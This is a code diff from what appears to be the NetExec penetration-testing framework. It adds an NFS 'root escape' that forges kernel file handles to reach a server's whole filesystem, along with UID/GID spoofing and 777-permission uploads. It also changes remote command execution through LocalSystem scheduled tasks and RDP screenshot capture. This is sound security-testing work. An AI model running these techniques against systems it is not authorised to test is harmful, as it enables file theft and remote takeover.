||||
curr_fh = res["resok"]["object"]["data"]
|
||||
# If response is file then break
|
||||
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
|
||||
break
|
||||
|
||||
# Update the UID and GID for the file
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
# Handle files over the default chunk size of 1024 * 1024
|
||||
offset = 0
|
||||
@@ -284,7 +389,7 @@ class nfs(connection):
|
||||
# Loop until we have read the entire file
|
||||
with open(local_file_path, "wb+") as local_file:
|
||||
while not eof:
|
||||
file_data = self.nfs3.read(file_handle, offset, auth=self.auth)
|
||||
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
|
||||
|
||||
if "resfail" in file_data:
|
||||
raise Exception("Insufficient Permissions")
|
||||
@@ -299,7 +404,7 @@ class nfs(connection):
|
||||
# Write the file data to the local file
|
||||
local_file.write(data)
|
||||
|
||||
self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}")
|
||||
self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}")
|
||||
|
||||
# Unmount the share
|
||||
self.mount.umnt(self.auth)
|
||||
@@ -312,18 +417,13 @@ class nfs(connection):
|
||||
"""Uploads a file to the NFS share"""
|
||||
local_file_path = self.args.put_file[0]
|
||||
remote_file_path = self.args.put_file[1]
|
||||
file_name = ""
|
||||
remote_dir_path, file_name = os.path.split(remote_file_path)
|
||||
|
||||
# Check if local file is exist
|
||||
if not os.path.isfile(local_file_path):
|
||||
self.logger.fail(f"{local_file_path} does not exist.")
|
||||
return
|
||||
|
||||
# Do a bit of smart handling for the file paths
|
||||
file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path
|
||||
if not remote_file_path.endswith("/"):
|
||||
remote_file_path += "/"
|
||||
|
||||
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
|
||||
try:
|
||||
# Connect to NFS
|
||||
@@ -331,26 +431,55 @@ class nfs(connection):
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mount the NFS share to create the file
|
||||
mnt_info = self.mount.mnt(remote_file_path, self.auth)
|
||||
dir_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
# Mount the NFS share or get the root handle
|
||||
if self.root_escape and not self.args.share:
|
||||
mount_fh = self.escape_fh
|
||||
elif not self.args.share:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return
|
||||
else:
|
||||
mnt_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
return
|
||||
mount_fh = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Update the UID from the directory
|
||||
attrs = self.nfs3.getattr(dir_handle, auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
# Iterate over the path
|
||||
curr_fh = mount_fh
|
||||
# If target dir is "" or "/" without filter we would get one item with [""]
|
||||
for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))):
|
||||
self.update_auth(mount_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
|
||||
# If the path does not exist, create it
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.display(f"Creating directory '/{sub_path}/'")
|
||||
res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth)
|
||||
if res["status"] != 0:
|
||||
self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}")
|
||||
return
|
||||
else:
|
||||
curr_fh = res["resok"]["obj"]["handle"]["data"]
|
||||
continue
|
||||
|
||||
curr_fh = res["resok"]["object"]["data"]
|
||||
|
||||
# Update the UID and GID from the directory
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
# Checking if file_name already exists on remote file path
|
||||
lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
|
||||
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
|
||||
|
||||
# If success, file_name does not exist on remote machine. Else, trying to overwrite it.
|
||||
if lookup_response["resok"] is None:
|
||||
# Create file
|
||||
self.logger.display(f"Trying to create {remote_file_path}{file_name}")
|
||||
res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth)
|
||||
res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth)
|
||||
if res["status"] != 0:
|
||||
raise Exception(NFSSTAT3[res["status"]])
|
||||
else:
|
||||
file_handle = res["resok"]["obj"]["handle"]["data"]
|
||||
self.update_auth(file_handle)
|
||||
self.logger.success(f"{file_name} successfully created")
|
||||
else:
|
||||
# Asking the user if they want to overwrite the file
|
||||
@@ -358,18 +487,22 @@ class nfs(connection):
|
||||
if ans.lower() in ["y", "yes", ""]:
|
||||
self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...")
|
||||
file_handle = lookup_response["resok"]["object"]["data"]
|
||||
else:
|
||||
self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}")
|
||||
return
|
||||
|
||||
# Update the UID and GID for the file
|
||||
self.update_auth(file_handle)
|
||||
|
||||
try:
|
||||
with open(local_file_path, "rb") as file:
|
||||
file_data = file.read().decode()
|
||||
|
||||
# Write the data to the remote file
|
||||
self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}")
|
||||
self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
|
||||
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}")
|
||||
self.logger.info(f"Trying to write data from {local_file_path} to {remote_file_path}")
|
||||
res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
|
||||
if res["status"] != 0:
|
||||
self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}")
|
||||
return
|
||||
else:
|
||||
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Could not write to {local_file_path}: {e}")
|
||||
|
||||
@@ -380,6 +513,216 @@ class nfs(connection):
|
||||
else:
|
||||
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
|
||||
|
||||
def get_root_handles(self, mount_fh):
|
||||
"""
|
||||
Get possible root handles to escape to the root filesystem
|
||||
Sources:
|
||||
https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62
|
||||
https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py
|
||||
|
||||
Usually:
|
||||
- 1 byte: 0x01 fb_version
|
||||
- 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel
|
||||
- 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved
|
||||
- 1 byte: 0xXX fb_fileid_type -> determines the filesystem type
|
||||
"""
|
||||
# First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3])
|
||||
# See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth))
|
||||
filesystem = FileID.unknown
|
||||
for entry in dir_data:
|
||||
# Check if "." is already the root directory
|
||||
if entry["name"] == b".":
|
||||
if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]:
|
||||
self.logger.debug("Exported share is already the root directory")
|
||||
return [entry["name_handle"]["handle"]["data"]]
|
||||
elif entry["name"] == b"..":
|
||||
continue
|
||||
else:
|
||||
try:
|
||||
fid_type = entry["name_handle"]["handle"]["data"][3]
|
||||
if fid_type in fileid_types:
|
||||
filesystem = fileid_types[fid_type]
|
||||
self.logger.debug(f"Found filesystem type: {filesystem}")
|
||||
break
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error on getting filesystem type: {e}")
|
||||
continue
|
||||
|
||||
self.logger.debug(f"Filesystem type: {filesystem}")
|
||||
|
||||
# Generate the root handle depending on the filesystem type and preserve the file_id (respect the length)
|
||||
fh_fsid_type = mount_fh[2]
|
||||
fh_fsid_len = fsid_lens[fh_fsid_type]
|
||||
root_handles = []
|
||||
|
||||
# Generate possible root handles
|
||||
# General syntax: 4 byte header + fsid + fileid
|
||||
# Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
fh = bytearray(mount_fh)
|
||||
if filesystem in [FileID.ext, FileID.unknown]:
|
||||
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113
|
||||
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226
|
||||
if filesystem in [FileID.btrfs, FileID.unknown]:
|
||||
# Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling
|
||||
for i in range(16):
|
||||
subvolume = int.to_bytes(i) + b"\x01\x00\x00"
|
||||
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226
|
||||
|
||||
return root_handles
|
||||
|
||||
def try_root_escape(self) -> bool:
|
||||
"""
|
||||
With an established connection look for a share that can be escaped to the root filesystem.
|
||||
If successfull, self.escape_share and self.escape_fh will be populated.
|
||||
|
||||
Returns
|
||||
-------
|
||||
bool: True if root escape was successful
|
||||
"""
|
||||
if not self.nfs3:
|
||||
raise Exception("NFS connection is not established")
|
||||
|
||||
output_export = str(self.mount.export())
|
||||
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
|
||||
shares = list(reg.findall(output_export))
|
||||
|
||||
self.logger.debug(f"Trying root escape on shares: {shares}")
|
||||
for share in shares:
|
||||
mount_info = self.mount.mnt(share, self.auth)
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}")
|
||||
self.mount.umnt(self.auth)
|
||||
continue
|
||||
mount_fh = mount_info["mountinfo"]["fhandle"]
|
||||
try:
|
||||
possible_root_fhs = self.get_root_handles(mount_fh)
|
||||
for fh in possible_root_fhs:
|
||||
if "resfail" not in self.nfs3.readdir(fh, auth=self.auth):
|
||||
self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}")
|
||||
self.escape_share = share
|
||||
self.escape_fh = fh
|
||||
self.mount.umnt(self.auth)
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error trying root escape on share '{share}': {e}")
|
||||
self.mount.umnt(self.auth)
|
||||
return False
|
||||
|
||||
def ls(self):
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Remove leading or trailing slashes
|
||||
self.args.ls = self.args.ls.lstrip("/").rstrip("/")
|
||||
|
||||
# NORMAL LS CALL (without root escape)
|
||||
if self.args.share:
|
||||
mount_info = self.mount.mnt(self.args.share, self.auth)
|
||||
mount_fh = mount_info["mountinfo"]["fhandle"]
|
||||
elif self.root_escape:
|
||||
# Interestingly we don't actually have to mount the share if we already got the handle
|
||||
self.logger.success(f"Successful escape on share: {self.escape_share}")
|
||||
mount_fh = self.escape_fh
|
||||
else:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return
|
||||
|
||||
# Update UID and GID for the share
|
||||
self.update_auth(mount_fh)
|
||||
|
||||
# We got a path to look up
|
||||
curr_fh = mount_fh
|
||||
is_file = False # If the last path is a file
|
||||
|
||||
# If ls is "" or "/" without filter we would get one item with [""]
|
||||
for sub_path in list(filter(None, self.args.ls.split("/"))):
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"Unknown path: {self.args.ls!r}")
|
||||
return
|
||||
# If file then break and only display file
|
||||
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
|
||||
is_file = True
|
||||
break
|
||||
curr_fh = res["resok"]["object"]["data"]
|
||||
|
||||
# Update the UID and GID for the file/dir
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth)
|
||||
if dir_listing["status"] != 0:
|
||||
self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}")
|
||||
return
|
||||
content = self.format_directory(dir_listing)
|
||||
|
||||
# Sometimes the NFS Server does not return the attributes for the files
|
||||
# However, they can still be looked up individually is missing
|
||||
for item in content:
|
||||
if not item["name_attributes"]["present"]:
|
||||
try:
|
||||
res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth)
|
||||
item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"]
|
||||
item["name_attributes"]["present"] = True
|
||||
item["name_handle"]["handle"] = res["resok"]["object"]
|
||||
item["name_handle"]["present"] = True
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}")
|
||||
|
||||
# If the requested path is a file, we filter out all other files
|
||||
path = f"{self.args.share if self.args.share else ''}/{self.args.ls}"
|
||||
if is_file:
|
||||
content = [x for x in content if x["name"].decode() == sub_path]
|
||||
path = path.rsplit("/", 1)[0] # Remove the file from the path
|
||||
self.print_directory(content, path)
|
||||
|
||||
def print_directory(self, content, path):
|
||||
"""
|
||||
Highlight log the content of the directory provided by a READDIRPLUS call.
|
||||
Expects an FORMATED output of self.format_directory.
|
||||
"""
|
||||
self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}")
|
||||
self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}")
|
||||
for item in content:
|
||||
if not item["name_attributes"]["present"] or not item["name_handle"]["present"]:
|
||||
uid = "-"
|
||||
perms = "----"
|
||||
file_size = "-"
|
||||
else:
|
||||
uid = item["name_attributes"]["attributes"]["uid"]
|
||||
is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-"
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
|
||||
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
|
||||
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
|
||||
|
||||
def format_directory(self, raw_directory):
|
||||
"""Convert the chained directory entries to a list of the entries"""
|
||||
if "resfail" in raw_directory:
|
||||
self.logger.debug("Insufficient Permissions, NFS returned 'resfail'")
|
||||
return {}
|
||||
items = []
|
||||
nextentry = raw_directory["resok"]["reply"]["entries"][0]
|
||||
while nextentry:
|
||||
entry = nextentry
|
||||
nextentry = entry["nextentry"][0] if entry["nextentry"] else None
|
||||
entry.pop("nextentry")
|
||||
items.append(entry)
|
||||
|
||||
# Sort by name to be linux-like
|
||||
return sorted(items, key=lambda x: x["name"].decode())
|
||||
|
||||
def update_auth(self, file_handle):
|
||||
"""Update the UID and GID for the file handle"""
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}")
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
self.auth["gid"] = attrs["attributes"]["gid"]
|
||||
|
||||
|
||||
def convert_size(size_bytes):
|
||||
if size_bytes == 0:
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
def proto_args(parser, parents):
|
||||
nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents)
|
||||
nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)")
|
||||
nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)")
|
||||
nfs_parser.add_argument("--nfs-timeout", type=int, default=5, help="NFS connection timeout (default: %(default)ss)")
|
||||
|
||||
dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS")
|
||||
dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file")
|
||||
dgroup.add_argument("--shares", action="store_true", help="List NFS shares")
|
||||
dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)")
|
||||
dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /")
|
||||
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
|
||||
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
|
||||
|
||||
|
||||
+24
-20
@@ -22,6 +22,8 @@ from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
from asyauth.common.constants import asyauthSecret
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class rdp(connection):
|
||||
def __init__(self, args, db, host):
|
||||
@@ -81,11 +83,6 @@ class rdp(connection):
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
# def proto_flow(self):
|
||||
# if self.create_conn_obj():
|
||||
# if self.login() or (self.username == '' and self.password == ''):
|
||||
# if hasattr(self.args, 'module') and self.args.module:
|
||||
|
||||
def proto_logger(self):
|
||||
import platform
|
||||
if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]:
|
||||
@@ -112,7 +109,6 @@ class rdp(connection):
|
||||
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
|
||||
else:
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
|
||||
@@ -172,6 +168,7 @@ class rdp(connection):
|
||||
return True
|
||||
|
||||
def check_nla(self):
|
||||
self.logger.debug(f"Checking NLA for {self.host}")
|
||||
for proto in self.protoflags_nla:
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
@@ -272,7 +269,7 @@ class rdp(connection):
|
||||
if word in str(e):
|
||||
reason = self.rdp_error_status[word]
|
||||
self.logger.fail(
|
||||
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else str(e)}"),
|
||||
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
|
||||
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
|
||||
)
|
||||
elif "Authentication failed!" in str(e):
|
||||
@@ -287,7 +284,7 @@ class rdp(connection):
|
||||
if str(e) == "cannot unpack non-iterable NoneType object":
|
||||
reason = "User valid but cannot connect"
|
||||
self.logger.fail(
|
||||
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else ''}"),
|
||||
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
|
||||
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
|
||||
)
|
||||
return False
|
||||
@@ -321,7 +318,7 @@ class rdp(connection):
|
||||
if str(e) == "cannot unpack non-iterable NoneType object":
|
||||
reason = "User valid but cannot connect"
|
||||
self.logger.fail(
|
||||
(f"{domain}\\{username}:{process_secret(password)} {f'({reason})' if reason else ''}"),
|
||||
(f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"),
|
||||
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
|
||||
)
|
||||
return False
|
||||
@@ -356,7 +353,7 @@ class rdp(connection):
|
||||
reason = "User valid but cannot connect"
|
||||
|
||||
self.logger.fail(
|
||||
(f"{domain}\\{username}:{process_secret(ntlm_hash)} {f'({reason})' if reason else ''}"),
|
||||
(f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"),
|
||||
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
|
||||
)
|
||||
return False
|
||||
@@ -379,18 +376,25 @@ class rdp(connection):
|
||||
asyncio.run(self.screen())
|
||||
|
||||
async def nla_screen(self):
|
||||
# Otherwise it crash
|
||||
self.iosettings.supported_protocols = None
|
||||
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
for proto in self.protoflags_nla:
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
|
||||
return
|
||||
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
|
||||
def nla_screenshot(self):
|
||||
if not self.nla:
|
||||
|
||||
+559
-542
File diff suppressed because it is too large
Load Diff
+22
-24
@@ -4,6 +4,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from time import sleep
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
@@ -60,17 +61,20 @@ class TSCH_EXEC:
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer = data
|
||||
|
||||
def get_end_boundary(self):
|
||||
# Get current date and time + 5 minutes
|
||||
end_boundary = datetime.now() + timedelta(minutes=5)
|
||||
|
||||
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
|
||||
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
|
||||
def gen_xml(self, command, fileless=False):
|
||||
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
||||
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<CalendarTrigger>
|
||||
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
<ScheduleByDay>
|
||||
<DaysInterval>1</DaysInterval>
|
||||
</ScheduleByDay>
|
||||
</CalendarTrigger>
|
||||
<RegistrationTrigger>
|
||||
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
|
||||
</RegistrationTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
@@ -134,7 +138,6 @@ class TSCH_EXEC:
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.debug(f"Task XML: {xml}")
|
||||
taskCreated = False
|
||||
self.logger.info(f"Creating task \\{tmpName}")
|
||||
try:
|
||||
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
@@ -147,11 +150,6 @@ class TSCH_EXEC:
|
||||
else:
|
||||
self.logger.fail(str(e))
|
||||
return
|
||||
else:
|
||||
taskCreated = True
|
||||
|
||||
self.logger.info(f"Running task \\{tmpName}")
|
||||
tsch.hSchRpcRun(dce, f"\\{tmpName}")
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
@@ -164,10 +162,6 @@ class TSCH_EXEC:
|
||||
|
||||
self.logger.info(f"Deleting task \\{tmpName}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
taskCreated = False
|
||||
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
|
||||
if self.__retOutput:
|
||||
if fileless:
|
||||
@@ -182,7 +176,7 @@ class TSCH_EXEC:
|
||||
":".join(map(str, self.__rpctransport.get_socket().getpeername()))
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
|
||||
tries = 0
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
@@ -191,7 +185,7 @@ class TSCH_EXEC:
|
||||
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries > self.__tries:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
@@ -203,18 +197,22 @@ class TSCH_EXEC:
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...")
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
if self.__outputBuffer:
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.deleteFile(self.__share, self.__output_filename)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
@@ -2,7 +2,6 @@ import base64
|
||||
import sys
|
||||
import warnings
|
||||
from datetime import datetime
|
||||
from typing import Optional
|
||||
|
||||
from sqlalchemy import func, Table, select, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
@@ -12,7 +11,7 @@ from sqlalchemy.exc import (
|
||||
)
|
||||
from sqlalchemy.exc import SAWarning
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.database import BaseDB, format_host_query
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
|
||||
@@ -350,7 +349,8 @@ class database(BaseDB):
|
||||
hosts = self.get_hosts(host)
|
||||
|
||||
if users and hosts:
|
||||
for user, host in zip(users, hosts):
|
||||
nxc_logger.debug(f"users: {users}, hosts: {hosts}")
|
||||
for user, host in zip(users, hosts, strict=True):
|
||||
user_id = user[0]
|
||||
host_id = host[0]
|
||||
link = {"userid": user_id, "hostid": host_id}
|
||||
@@ -469,8 +469,8 @@ class database(BaseDB):
|
||||
q = q.filter(self.HostsTable.c.domain.like(like_term))
|
||||
# if we're filtering by ip/hostname
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
|
||||
q = format_host_query(q, filter_term, self.HostsTable)
|
||||
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"smb hosts() - results: {results}")
|
||||
return results
|
||||
@@ -693,7 +693,7 @@ class database(BaseDB):
|
||||
except Exception as e:
|
||||
